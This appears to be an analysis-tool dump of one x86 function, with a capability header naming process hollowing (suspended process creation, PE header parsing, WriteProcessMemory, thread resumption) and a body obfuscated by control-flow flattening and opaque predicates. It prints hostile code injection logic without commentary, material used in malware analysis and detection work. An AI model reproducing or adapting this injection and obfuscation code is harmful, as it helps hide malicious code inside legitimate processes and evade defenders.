Function at 0x100035f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x188
mov eax, dword [0x10088200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x190], 0xa6ad7abe
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x194], eax
sub eax, 0x80e791ad
je 0x10005dbc
jmp 0x1000362c
mov eax, dword [ebp - 0x194]
sub eax, 0x815ec3be
je 0x10009998
jmp 0x10003642
mov eax, dword [ebp - 0x194]
sub eax, 0x8169eb15
je 0x10008827
jmp 0x10003658
mov eax, dword [ebp - 0x194]
sub eax, 0x82a6bad9
je 0x1000812b
jmp 0x1000366e
mov eax, dword [ebp - 0x194]
sub eax, 0x82d8022e
je 0x10009871
jmp 0x10003684
mov eax, dword [ebp - 0x194]
sub eax, 0x8312a933
je 0x1000b266
jmp 0x1000369a
mov eax, dword [ebp - 0x194]
sub eax, 0x833e73c0
je 0x10008386
jmp 0x100036b0
mov eax, dword [ebp - 0x194]
sub eax, 0x84b4ad8c
je 0x100092a5
jmp 0x100036c6
mov eax, dword [ebp - 0x194]
sub eax, 0x85c756c0
je 0x10005c6d
jmp 0x100036dc
mov eax, dword [ebp - 0x194]
sub eax, 0x868f2b28
je 0x10007c37
jmp 0x100036f2
mov eax, dword [ebp - 0x194]
sub eax, 0x86c55d40
je 0x1000810c
jmp 0x10003708
mov eax, dword [ebp - 0x194]
sub eax, 0x882925f1
je 0x100065c2
jmp 0x1000371e
mov eax, dword [ebp - 0x194]
sub eax, 0x88bfcaf7
je 0x1000aa8f
jmp 0x10003734
mov eax, dword [ebp - 0x194]
sub eax, 0x8a788ef4
je 0x100079eb
jmp 0x1000374a
mov eax, dword [ebp - 0x194]
sub eax, 0x8a8a1b38
je 0x10005c12
jmp 0x10003760
mov eax, dword [ebp - 0x194]
sub eax, 0x8aa6b544
je 0x1000698d
jmp 0x10003776
mov eax, dword [ebp - 0x194]
sub eax, 0x8ad28b8d
je 0x100078b4
jmp 0x1000378c
mov eax, dword [ebp - 0x194]
sub eax, 0x8bf5fed1
je 0x10007895
jmp 0x100037a2
mov eax, dword [ebp - 0x194]
sub eax, 0x8c6893c4
je 0x1000a28e
jmp 0x100037b8
mov eax, dword [ebp - 0x194]
sub eax, 0x8c8b2ca8
je 0x1000aeea
jmp 0x100037ce
mov eax, dword [ebp - 0x194]
sub eax, 0x8cb2663c
je 0x10006bc0
jmp 0x100037e4
mov eax, dword [ebp - 0x194]
sub eax, 0x8d33abf6
je 0x10008d94
jmp 0x100037fa
mov eax, dword [ebp - 0x194]
sub eax, 0x8d80ee7e
je 0x100070c5
jmp 0x10003810
mov eax, dword [ebp - 0x194]
sub eax, 0x8db25577
je 0x10007b42
jmp 0x10003826
mov eax, dword [ebp - 0x194]
sub eax, 0x8e325311
je 0x100063d0
jmp 0x1000383c
mov eax, dword [ebp - 0x194]
sub eax, 0x8ece3275
je 0x10008f9e
jmp 0x10003852
mov eax, dword [ebp - 0x194]
sub eax, 0x8ed5fa26
je 0x1000a714
jmp 0x10003868
mov eax, dword [ebp - 0x194]
sub eax, 0x8f4ab541
je 0x10007efa
jmp 0x1000387e
mov eax, dword [ebp - 0x194]
sub eax, 0x8f508018
je 0x1000907c
jmp 0x10003894
mov eax, dword [ebp - 0x194]
sub eax, 0x8ffb48f2
je 0x1000aabd
jmp 0x100038aa
mov eax, dword [ebp - 0x194]
sub eax, 0x901eb390
je 0x10008d24
jmp 0x100038c0
mov eax, dword [ebp - 0x194]
sub eax, 0x90dfc24f
je 0x100079ad
jmp 0x100038d6
mov eax, dword [ebp - 0x194]
sub eax, 0x92297593
je 0x10007237
jmp 0x100038ec
mov eax, dword [ebp - 0x194]
sub eax, 0x923cc5f1
je 0x10007fbc
jmp 0x10003902
mov eax, dword [ebp - 0x194]
sub eax, 0x92a5a4bf
je 0x1000a120
jmp 0x10003918
mov eax, dword [ebp - 0x194]
sub eax, 0x92d2aaa6
je 0x10008748
jmp 0x1000392e
mov eax, dword [ebp - 0x194]
sub eax, 0x931493d8
je 0x10009b5f
jmp 0x10003944
mov eax, dword [ebp - 0x194]
sub eax, 0x948cfd6b
je 0x10009d8b
jmp 0x1000395a
mov eax, dword [ebp - 0x194]
sub eax, 0x94b31916
je 0x10007c28
jmp 0x10003970
mov eax, dword [ebp - 0x194]
sub eax, 0x95205393
je 0x10009d6a
jmp 0x10003986
mov eax, dword [ebp - 0x194]
sub eax, 0x9622c3fd
je 0x100067ae
jmp 0x1000399c
mov eax, dword [ebp - 0x194]
sub eax, 0x96b84226
je 0x1000af65
jmp 0x100039b2
mov eax, dword [ebp - 0x194]
sub eax, 0x96fa3fd1
je 0x100094d7
jmp 0x100039c8
mov eax, dword [ebp - 0x194]
sub eax, 0x970319fd
je 0x10006e72
jmp 0x100039de
mov eax, dword [ebp - 0x194]
sub eax, 0x9737e8bd
je 0x10005f5b
jmp 0x100039f4
mov eax, dword [ebp - 0x194]
sub eax, 0x9743fe20
je 0x10007773
jmp 0x10003a0a
mov eax, dword [ebp - 0x194]
sub eax, 0x9785eab2
je 0x10007def
jmp 0x10003a20
mov eax, dword [ebp - 0x194]
sub eax, 0x9a0a3c03
je 0x10009328
jmp 0x10003a36
mov eax, dword [ebp - 0x194]
sub eax, 0x9a18c8a5
je 0x10008ac9
jmp 0x10003a4c
mov eax, dword [ebp - 0x194]
sub eax, 0x9a81f2dc
je 0x1000a2b4
jmp 0x10003a62
mov eax, dword [ebp - 0x194]
sub eax, 0x9b57c10e
je 0x100083c5
jmp 0x10003a78
mov eax, dword [ebp - 0x194]
sub eax, 0x9b72c6de
je 0x100080a2
jmp 0x10003a8e
mov eax, dword [ebp - 0x194]
sub eax, 0x9bbee32a
je 0x10006b1b
jmp 0x10003aa4
mov eax, dword [ebp - 0x194]
sub eax, 0x9bfc63d8
je 0x1000a6c3
jmp 0x10003aba
mov eax, dword [ebp - 0x194]
sub eax, 0x9cacad84
je 0x10007d7f
jmp 0x10003ad0
mov eax, dword [ebp - 0x194]
sub eax, 0x9e3623b7
je 0x100062fa
jmp 0x10003ae6
mov eax, dword [ebp - 0x194]
sub eax, 0x9e504a12
je 0x10008148
jmp 0x10003afc
mov eax, dword [ebp - 0x194]
sub eax, 0x9ea088ae
je 0x1000a69a
jmp 0x10003b12
mov eax, dword [ebp - 0x194]
sub eax, 0x9f4241c6
je 0x10005d61
jmp 0x10003b28
mov eax, dword [ebp - 0x194]
sub eax, 0x9fa09ecd
je 0x1000a8cd
jmp 0x10003b3e
mov eax, dword [ebp - 0x194]
sub eax, 0xa08bd923
je 0x10006da3
jmp 0x10003b54
mov eax, dword [ebp - 0x194]
sub eax, 0xa0b2864e
je 0x1000aecb
jmp 0x10003b6a
mov eax, dword [ebp - 0x194]
sub eax, 0xa104cd2f
je 0x1000acdb
jmp 0x10003b80
mov eax, dword [ebp - 0x194]
sub eax, 0xa39a57c0
je 0x1000910f
jmp 0x10003b96
mov eax, dword [ebp - 0x194]
sub eax, 0xa405a13d
je 0x1000801c
movss xmm0, dword [0x100183a8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x15235c57
jmp 0x1000b344
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x45eb8dd9
jmp 0x1000b344
movss xmm0, dword [0x10018388]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x7464ecd
jmp 0x1000b344
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x619ac35c
jmp 0x1000b344
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88bfcaf7
mov ecx, 0x12818751
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
sub edx, 0x81215a3d
sub edx, 1
add edx, 0x81215a3d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd4afa201
mov ecx, 0x1cc432f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
mov edx, eax
add edx, 0x43310ff4
sub edx, 1
sub edx, 0x43310ff4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe487d53
mov ecx, 0xe5a50f7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dl, 1
mov eax, 0xfd178b55
mov ecx, 0x74da38a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0xca75b1a2
jmp 0x1000b344
movss xmm0, dword [0x10018340]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001833c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x190], 0x686c534e
jmp 0x1000b344
movss xmm0, dword [0x10018314]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018310]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x190], 0xd89abec5
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0xebf69a7e
sub edx, 1
sub edx, 0xebf69a7e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcf837daa
mov ecx, 0xc90d7a70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0x8df3a475
sub edx, 1
sub edx, 0x8df3a475
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xed1b8a34
mov ecx, 0xbc102cae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0x69cd3ea0
jmp 0x1000b344
mov dword [ebp - 0x190], 0xdc5b298b
jmp 0x1000b344
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
mov edx, eax
sub edx, 0xcd78854
sub edx, 1
add edx, 0xcd78854
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x504583b2
mov ecx, 0xdcf67258
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dl, 1
mov eax, 0x8bf5fed1
mov ecx, 0xd900ddc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x190], 0x8ad28b8d
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf96ca530
mov ecx, 0xfabf7b04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x190], 0xfebcd0bd
jmp 0x1000b344
movss xmm0, dword [0x100182cc]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x190], 0xf64db617
jmp 0x1000b344
mov dword [ebp - 0x190], 0x200ef532
jmp 0x1000b344
mov dword [ebp - 0x190], 0x868f2b28
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0xf3a1918e
sub edx, 1
sub edx, 0xf3a1918e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfad5de3d
mov ecx, 0x57fcbd4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x100182c4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0xf1c1f462
jmp 0x1000b344
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
sub edx, 0xbae2cda4
sub edx, 1
add edx, 0xbae2cda4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3bffce53
mov ecx, 0x4c6cf038
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0xcde78f15
sub edx, 1
sub edx, 0xcde78f15
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xca498ef5
mov ecx, 0x1584e246
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0xcd44152b
jmp 0x1000b344
mov dword [ebp - 0x190], 0x5c11f3c8
jmp 0x1000b344
movss xmm0, dword [0x100182b0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0x82a6bad9
jmp 0x1000b344
mov dl, 1
mov eax, 0x6c39951c
mov ecx, 0x9e504a12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0x1841cf5a
jmp 0x1000b344
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001829c]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10018298]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0x9b57c10e
jmp 0x1000b344
mov dl, 1
mov eax, 0x36f9ab05
mov ecx, 0xdb106cb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd075e74a
mov ecx, 0xca4d676c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0xf5f918eb
jmp 0x1000b344
mov dl, 1
mov eax, 0x2484314f
mov ecx, 0x4b1cf6d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x190], 0xdc965ad6
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0xddc8fc37
sub edx, 1
sub edx, 0xddc8fc37
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1f5bf05c
mov ecx, 0x6e43e3f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
add edx, 0x94fa150e
sub edx, 1
sub edx, 0x94fa150e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x96b84226
mov ecx, 0x68805ac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dl, 1
mov eax, 0xbac76237
mov ecx, 0x18dbb708
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10089528]
mov eax, dword [0x10089524]
mov edx, ecx
sub edx, 0x42897c03
sub edx, 1
add edx, 0x42897c03
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd15fb192
mov ecx, 0x1ed02d09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [ebp - 0x140]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xed], al
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
mov edx, eax
sub edx, 0xb9248632
sub edx, 1
add edx, 0xb9248632
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd165f759
mov ecx, 0x9a0a3c03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dl, byte [ebp - 0xed]
mov eax, 0x19d5e3c9
mov ecx, 0x50fb633f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0x18fe1ec
jmp 0x1000b344
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
mov edx, eax
add edx, 0xb613318
sub edx, 1
sub edx, 0xb613318
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe51b9195
mov ecx, 0x123c093
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xcc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x148]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x148]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov eax, dword [0x10089528]
mov ecx, dword [0x10089524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2085977
mov ecx, 0xb4739972
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov dword [ebp - 0x190], 0xfa2470c2
jmp 0x1000b344
mov dl, byte [ebp - 0xb1]
mov eax, 0x160e00ab
mov ecx, 0x948cfd6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x190], 0xfdfbac32
jmp 0x1000b344
mov ecx, dword [ebp - 0x188]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x190], 0xd388a181
jmp 0x1000b344
mov edx, dword [ebp - 0x90]
mov esi, dword [ebp - 0x8c]
mov eax, 0x69a1afd
mov ecx, 0x9a81f2dc
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000b344
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x190], 0xe722ac64
jmp 0x1000b344
mov dword [ebp - 0x190], 0x15f4c00d
jmp 0x1000b344
mov ecx, dword [ebp - 0x74]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x190], 0x55fc321b
jmp 0x1000b344
mov dword [ebp - 0x190], 0x30b4d58e
jmp 0x1000b344
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x190], 0x4d9a522d
jmp 0x1000b344
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0x12818751
jmp 0x1000b344
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0xa506e472
jmp 0x1000b344
mov dword [ebp - 0x190], 0x33bd2512
jmp 0x1000b344
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0x2ba42fa2
jmp 0x1000b344
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0x1a37fd4f
jmp 0x1000b344
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x190], 0x68805ac8
jmp 0x1000b344
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
sub ecx, 0x9ff31458
add ecx, eax
add ecx, 0x9ff31458
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x3c98714b
add ecx, eax
sub ecx, 0x3c98714b
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x190], 0x273e1f7a
jmp 0x1000b344
jmp 0x10003610